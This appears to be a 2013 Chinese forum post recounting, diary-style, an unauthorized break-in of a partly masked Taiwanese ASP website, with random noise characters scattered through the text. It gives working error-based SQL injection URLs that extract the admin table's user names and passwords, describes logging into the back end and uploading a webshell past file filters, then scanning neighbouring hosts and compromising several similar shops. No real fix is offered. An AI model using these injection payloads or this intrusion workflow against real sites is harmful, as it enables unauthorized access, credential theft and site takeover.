发现一个注入点7 N+ l2 `+ W. J: m `2 e
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
/ s1 X& E7 y3 `( |2 \
/ U6 t. `- Z0 z习惯性的加’having1=1--
: @( ]9 Z) p4 n. b$ W8 ]2 i( u4 R4 c! A2 V4 B8 u' D
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
" N8 c U: Q5 K4 G& h+ E) e! d* D2 Z! @
0
- }) A6 k; ^+ l* G& l# T2 f. i! [ Y8 l; Y& M( ]$ F! r
爆出Diary_A.dl_Title（这时候很激动啊）% p B5 ?0 s+ H+ _% Y
9 |9 d( `& _( |1 W
那么继续# U& v* ?3 |) n+ @1 {) V
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—) F, T0 r0 r3 D/ j+ h
' q1 r/ w8 \9 v继续，一直爆下去
# z1 }- ^) x, w& X$ g; q
) e: Z; w9 g! D! \3 |9 U' V+ i+ h* x; @爆到几个字段和表段 但是没找到需要的管理用户的字段
$ r# i4 \9 M! }/ v. @1 x' R6 m0 P0 m- M
蛋疼了 怎么办 然后去后台登陆页看源码! I! o- C, g! a/ Z7 l
' a+ e1 T+ t P/ T2 O; N9 M0( X0 U* E8 U4 Y1 e( q0 h
7 y Y0 G) E. P1 k) GInput name= “ADUID”5 J. r8 o2 }* H" E
Input name= “ADPWD”
% r( k i! d4 Q3 G4 q
9 S; _" }" I4 ]! e$ }+ a- V6 g" u很幸运 找到了字段那就继续! Y* k/ B1 C" K4 v0 l+ @, u0 \' I
找到之后开始爆用户
8 B8 F$ p) G2 {' l- `http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—8 I$ k& w3 h2 Y1 c# b
爆密码0 ?7 c9 ~) s8 r
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—4 J- Z6 O8 B8 U6 Q$ p7 V
测试了下 这个注入点只能爆到文章哪里的表
H0 c2 @ i# X: s% C! [; b' ~# @) j& e; p0 n
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了* n1 `& t( J/ h9 l
; f* ^4 C+ x1 M+ e, x又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
1 N+ b$ ^* Z) l
, j2 s" S, X% }- ]9 Z! s6 ^4731 g: i' `3 |4 ?4 |8 N
6 {$ n. P. [3 L/ t" B( q8 o+ }3 c
进后台
4 A7 z5 }; U3 @9 J2 I2 z0 Z
. x$ c% B2 s! ^5 Z$ S
2 N; r7 v5 y8 |1 ?发现几个上传点 有的地方不能上传 而且防止恶意代码
0 w! I( n6 X/ m) ?: A5 c* S1 A# ]! r) c5 S* k0 ~% z. ], H4 _
没办法 各种百度各种找大牛 找到一只好像可以突破的马! K# Z2 Z) n+ Y) p) y
0 X9 h1 y) H0 ?5 E& Z1 ?8 Z- o$ {0 d, G' h
在系统管理那里直接上传 不过没有显示地址! m7 X ^6 [( Y& X- \$ P
" n+ q& |4 e6 |
再上传一次 抓包 搞定OK6 E' C' H2 I- l- X7 G
: D0 K, i" Q0 a% [7 N+ B) t
( |. h6 {$ ?/ K9 {1 y4 c
" `' G% E& M# ]1 B, y: [
4729 _, n& Y- i/ Z, R& i: S
; j% {; D4 l; F+ r: k3 }( I7 [. i6 u晚上不行了 去睡觉。。。7 l8 @4 L& h0 X1 Q) r
第二天刚起床 闲的没事做继续日站吧 ( A6 A+ S0 R% u) n1 r1 p
% W8 o2 S& s! a4 Y k' V8 M找个站 就把这个站的旁c扫了下
" s5 _+ E, H) x* B: K7 g; S, o
& a, Q% I: d3 I! F( E发现c段也有一个购物站 ，然后还和这个站的模板差不多
- a2 o2 Z' v- q' p0 g+ ]0 ?6 \7 f2 }0 T
就找到会员登录口测试
0 ], w; [- c* [8 V8 Z
$ y; k# t/ v7 H4 R# p r'and (select top 1 MGR_UID from A_MGR)>0—3 p( Y3 l1 Z. D x" K I
果断爆到了 这时候我很激动 通杀7 a4 G* }8 M4 j" Y* f1 }& P
. q2 f& a* w) V
再次翻c段
/ b0 k( m6 a( i! a$ }2 {5 |6 D# `
0 ?0 t5 L) Q' L" g8 u6 J3 f翻出几个站 都成功拿下; \. L9 Z8 }: t; `0 y' g
- [1 g" |8 x& R% ^( V, Y, M( A" Z$ X' P6 I: i# `
9 N# S( g; @+ [8 _8 f修复方案：
: b! D" a, a3 L# ~" E& O; V# T3 }, G( [他们比我专业
y9 ]0 u9 ~/ ~ B+ K5 m/ g2 u5 O0 v# i) w9 }) P- Q
. U; A# V0 G6 b- i, e7 [/ |5 T" t! i7 d& I/ z
|
发表于 2013-4-4 17:40:38
收藏
支持
反对